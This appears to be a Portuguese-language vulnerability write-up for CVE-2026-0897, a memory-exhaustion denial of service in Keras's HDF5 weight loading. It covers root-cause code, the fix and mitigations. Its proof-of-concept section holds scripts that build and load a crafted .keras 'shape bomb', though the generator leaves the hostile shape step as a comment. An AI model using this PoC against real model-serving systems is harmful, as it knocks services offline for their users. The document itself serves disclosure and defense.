
Alocação de recursos sem limites ou limitação de taxa no componente de carregamento de pesos HDF5 no Google Keras 3.0.0 até 3.13.0 em todas as plataformas permite que um atacante remoto cause uma Negação de Serviço (DoS) por meio de esgotamento de memória e uma falha do interpretador Python via um arquivo .keras maliciosamente criado.
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-0897 |
| Pacote | keras (Google Keras) |
| Registro | PyPI |
| Versões Afetadas | 3.0.0 a 3.13.0 (inclusive) |
| Tipo de Vulnerabilidade | CWE-770: Alocação de Recursos Sem Limites ou Regulação |
| Pontuação CVSS | 7.1 Alta (CVSS 4.0, CNA: Google Inc.) |
| Vetor CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Passiva (a vítima carrega um arquivo de modelo) |
| Impacto na Disponibilidade | Alto |
| Impacto na Confidencialidade | Nenhum |
| Impacto na Integridade | Nenhum |
| Publicado no NVD | 15 de janeiro de 2026 |
| Última Modificação no NVD | 23 de janeiro de 2026 |
| Fonte / CNA | Google Inc. |
| Relatado Por | HyperPS (Sarvesh Patil) via huntr.dev / GHSA |
| Status da Correção | Mesclado — PR #21880 |
Existe uma vulnerabilidade de Negação de Serviço no componente de carregamento de pesos HDF5 do Google Keras versões 3.0.0 a 3.13.0 em todas as plataformas. A vulnerabilidade é causada pela ausência de qualquer validação ou limitação ao processar metadados de forma de datasets HDF5 declarados dentro de um arquivo .keras.
O formato HDF5 permite que datasets declarem sua forma (dimensões do tensor) como metadados. Quando o Keras carrega pesos de modelo de um arquivo .keras, ele lê essa forma declarada e tenta alocar um bloco de memória correspondente antes que qualquer dado seja transferido. Como o Keras não realiza nenhuma verificação de limites na forma declarada antes da alocação, um atacante pode criar um arquivo model.weights.h5 que declara uma forma astronomicamente grande — por exemplo (1000000, 1000000, 1000000) — fazendo com que o Keras tente uma alocação de memória na escala de petabytes. Isso esgota toda a memória disponível do sistema e derruba o interpretador Python.
Nenhuma inferência ou interação adicional é necessária após o carregamento do modelo. O ataque é totalmente acionado no momento do carregamento.
| Arquivo | Descrição |
|---|---|
keras/src/saving/file_editor.py | KerasFileEditor._extract_weights_from_store() — lê a forma do dataset HDF5 e aloca memória sem validação de tamanho ou limitação |
A vulnerabilidade está localizada especificamente na classe KerasFileEditor, que é responsável por desserializar tensores de pesos de modelo a partir de armazenamentos HDF5 embutidos em arquivos .keras.
.keras de fontes não confiáveis ou fornecidas por usuários está vulnerávelO formato de arquivo HDF5 armazena metadados de tensor — incluindo declarações de forma — separadamente dos bytes de dados reais. Quando KerasFileEditor._extract_weights_from_store() encontra uma entrada de dataset, ele lê a forma declarada e chama o NumPy para pré-alocar um array com as dimensões correspondentes antes de ler qualquer dado do disco.
Como a forma é um metadado, um arquivo HDF5 mínimo pode declarar uma forma que exigiria petabytes de memória enquanto o próprio arquivo permanece com apenas alguns kilobytes de tamanho. A proporção entre o tamanho do arquivo e o tamanho da alocação torna isso um ataque de amplificação altamente eficaz.
Uma forma como (1000000, 1000000, 1000000) com um dtype float de 32 bits solicitaria aproximadamente 4.000 petabytes de memória. O out-of-memory killer do sistema operacional ou o alocador do Python derrubará o processo quase que instantaneamente.
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation
A ausência de qualquer verificação em shape antes de chamar np.zeros() é a causa raiz.
Esta informação é fornecida apenas para fins educacionais e de defesa. Não teste em sistemas que você não possui ou para os quais não tem autorização explícita para testar.
.keras Malicioso# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")
# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")
Resultado esperado: o interpretador Python é encerrado com um MemoryError ou é morto pelo gerenciador de falta de memória do sistema operacional antes que o carregamento seja concluído.
Sintomas observáveis:
MemoryError durante load_model() ou load_weights()h5dumpA vulnerabilidade foi resolvida pelo pesquisador (HyperPS / Sarvesh Patil) no PR #21880, mesclado em keras-team:master em 29 de dezembro de 2025, revisado e aprovado pelo mantenedor do Keras hertschuh.
| Recurso | Link |
|---|---|
| Pull Request da Correção | https://github.com/keras-team/keras/pull/21880 |
O patch modifica KerasFileEditor._extract_weights_from_store() em keras/src/saving/file_editor.py para adicionar as seguintes proteções antes que qualquer alocação de memória ocorra:
inner_path durante a travessia recursiva do armazenamento HDF5A correção é compatível com versões anteriores de todos os arquivos de pesos válidos do Keras.
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)
Atualize via pip:
pip install --upgrade keras
Verifique a versão instalada:
python -c "import keras; print(keras.__version__)"
Pré-verifique um arquivo de pesos HDF5 em busca de formas suspeitas:
h5dump --header model.weights.h5 | grep -i "DATASPACE"
Este repositório documenta o CVE-2026-0897 estritamente para fins educacionais, de pesquisa e de segurança defensiva. O código de prova de conceito e os detalhes técnicos são fornecidos para auxiliar desenvolvedores, engenheiros de segurança e administradores de sistemas a entender, avaliar e corrigir esta vulnerabilidade.
Qualquer uso destas informações para causar danos a sistemas, serviços ou indivíduos sem autorização explícita é ilegal e antiético. O autor não assume nenhuma responsabilidade pelo uso indevido das informações contidas neste documento.
Colaboradores @mohitf070304
| Métrica | Valor | Significado |
|---|
| Vetor de Ataque (AV) | Rede | Explorável remotamente por meio de um arquivo de modelo distribuído |
| Complexidade do Ataque (AC) | Baixa | Nenhuma condição especial ou condição de corrida necessária |
| Requisitos de Ataque (AT) | Nenhum | Nenhuma configuração de implantação prévia necessária |
| Privilégios Necessários (PR) | Nenhum | Nenhuma autenticação ou conta necessária |
| Interação do Usuário (UI) | Passiva | A vítima deve carregar o arquivo .keras malicioso |
| Disponibilidade do Sistema Vulnerável (VA) | Alta | O interpretador Python falha; o serviço fica completamente indisponível |
| Confidencialidade do Sistema Vulnerável (VC) | Nenhum | Nenhuma divulgação de dados |
| Integridade do Sistema Vulnerável (VI) | Nenhum | Nenhuma modificação de dados |
| Impacto em Sistemas Subsequentes (SC/SI/SA) | Nenhum | O impacto está contido no processo de carregamento |
| Contexto | Risco |
|---|
APIs públicas de serviço de modelos que aceitam arquivos .keras enviados por usuários | O atacante derruba o serviço de inferência com uma única solicitação |
| Plataformas de ML que hospedam downloads comunitários de modelos (ex.: Hugging Face) | Um modelo envenenado causa DoS para qualquer pesquisador que o baixe e carregue |
| Ambientes de aprendizado federado | Um participante malicioso distribui um arquivo de pesos criado sob medida para derrubar o coordenador ou os nós pares |
| Pipelines de CI/CD que carregam checkpoints de modelo | Um checkpoint comprometido ou substituído causa falha e indisponibilidade do pipeline |
| Chatbots ou serviços de PLN que recarregam modelos em tempo de execução | Uma única solicitação maliciosa de recarga derruba o serviço |
| Commit de Merge | 7360d4f |
| Solicitação de Backport (3.12.x) | Issue #22031 |
| Ação | Detalhes |
|---|
| Atualize o Keras | Atualize para uma versão que inclua a correção do PR #21880 (builds do master pós 3.13.0 ou qualquer versão oficial corrigida) |
| Não Carregue Arquivos de Modelo Não Confiáveis | Nunca carregue arquivos .keras ou .weights.h5 de locais não confiáveis, não verificados ou originados da comunidade sem verificação prévia de integridade |
| Verifique a Integridade dos Arquivos | Valide os checksums SHA-256 dos arquivos de modelo contra os hashes fornecidos pelo publicador antes de carregá-los |
| Pré-verifique com h5dump | Use h5dump --header <file> para inspecionar os metadados de forma dos datasets em arquivos HDF5 antes de carregá-los no Keras |
| Privilégio Mínimo | Execute processos de serviço de modelos sob um usuário restrito do SO com limites de memória aplicados via cgroups ou ulimit para limitar o raio de impacto |
| Conteinerização | Isole o carregamento de modelos em um contêiner em sandbox com limites de memória para evitar que uma única falha afete outros serviços |
| Monitore a Memória | Instrumente as operações de carregamento de modelos para alertar sobre padrões anormais de alocação de memória |
| Data | Evento |
|---|
| 29 de novembro de 2025 | PR de correção #21880 submetido ao keras-team/keras por HyperPS |
| 1º de dezembro de 2025 | O mantenedor do Keras hertschuh solicita referências; a revisão começa |
| 26 de dezembro de 2025 | Revisão do mantenedor concluída; feedback final tratado |
| 29 de dezembro de 2025 | PR #21880 aprovado e mesclado em keras-team:master |
| 15 de janeiro de 2026 | CVE-2026-0897 publicado no NVD |
| 19 de janeiro de 2026 | Solicitação de backport para o Keras 3.12.x aberta (Issue #22031) |
| 23 de janeiro de 2026 | Registro do NVD modificado pela última vez |
| Recurso | Link |
|---|
| Entrada no NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 |
| Registro Oficial do CVE | https://cve.org/CVERecord?id=CVE-2026-0897 |
| Aviso do GitHub (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 |
| Pull Request da Correção | https://github.com/keras-team/keras/pull/21880 |
| Commit de Merge | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 |
| Solicitação de Backport | https://github.com/keras-team/keras/issues/22031 |
| Keras no PyPI | https://pypi.org/project/keras/ |
| CWE-770 | https://cwe.mitre.org/data/definitions/770.html |
| Documentação do Formato HDF5 | https://www.hdfgroup.org/solutions/hdf5/ |